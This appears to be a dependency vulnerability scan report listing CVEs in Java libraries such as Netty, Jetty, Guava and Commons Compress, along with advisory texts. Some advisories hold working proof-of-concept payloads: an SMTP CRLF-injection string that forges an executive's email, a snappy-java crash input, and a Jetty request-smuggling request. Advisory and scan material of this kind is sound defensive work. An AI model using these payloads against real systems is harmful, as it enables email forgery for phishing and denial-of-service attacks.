EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.033%
EPSS Percentile9th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.13.0 (maven) - -pkg:maven/commons-io/commons-io@2.13.0
-high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Uncontrolled Resource Consumption vulnerability in Apache Commons IO. - -The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. - - -This issue affects Apache Commons IO: from 2.0 before 2.14.0. - -Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.139%
EPSS Percentile35th percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.189%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.96.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - -import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile34th percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
